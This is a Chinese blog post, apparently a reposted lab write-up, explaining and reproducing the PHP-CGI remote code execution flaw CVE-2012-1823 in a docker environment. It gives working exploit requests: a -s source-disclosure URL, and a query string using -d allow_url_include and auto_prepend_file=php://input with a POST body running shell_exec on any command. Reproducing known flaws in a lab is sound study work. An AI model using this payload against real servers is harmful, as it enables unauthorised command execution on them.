飞道的博客

(CVE-2012-1823)PHP-CGI远程代码执行漏洞

347人阅读  评论(0)

漏洞原理

  • php-cgi是一个类似于消息的“传递者”,它接收web容器收到的http数据包,并把里面的数据交给PHP解释器执行。
  • php-cgi有两个功能,一是提供cgi方式的交互,二是提供fastcgi方式的交互。
  • cgi方式:web容器接收到http数据包后,拿到用户请求的文件(cgi脚本),并fork除一个子进程(解释器)去执行这个文件,然后拿到执行结果,直接返回给用户,然后子进程结束,但是这个cgi模式不能接收同时接收大量的请求,因为创建进程的时候会消耗服务器资源,资源也不是无限的,所以有了fastcgi
  • fastcgi方式:fastcgi进程可以将自己一直运行在后台,并通过fastcgi协议接收数据包,执行后返回结果,但自身并不退出。
  • CVE-2012-1823就是存在于以cgi模式运行的php中。
  • 本质是用户请求的参数被作为了php-cgi的参数。

漏洞影响

  • 影响版本 php < 5.3.12 or php < 5.4.2

漏洞利用

CGI模式下有如下一些参数可用

  • -c 指定php.ini文件的位置
  • -n 不要加载php.ini文件
  • -d 指定配置项
  • -b 启动fastcgi进程
  • -s 显示文件源码
  • -T 执行指定次该文件
  • -h和-?显示帮助

我们通过-d利用远程文件包含来提交远程执行代码从而利用该漏洞。

漏洞复现

启动环境:


  
  1. docker-compose up -d
  2. docker ps

我们根据映射的端口访问:http://192.168.41.138:8080/

使用-s查看源码,也就是 

 http://192.168.41.138:8080/index.php?-s 查看源码如下: 

  

使用-d执行命令,输入如下payload:

http://192.168.41.138:8080/index.php-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input 

POST部分:<?php echo shell_exec('[你想要输入的命令]'); ?>

然后抓包修改,提交方式改为POST;

pwd 

 复现完毕。别忘了移除环境:


  
  1. docker-compose down
  2. docker ps

 

ok! 

参考复现:漏洞复现

 


转载:https://blog.csdn.net/weixin_45253622/article/details/117083751
查看评论
* 以上用户言论只代表其个人观点,不代表本网站的观点或立场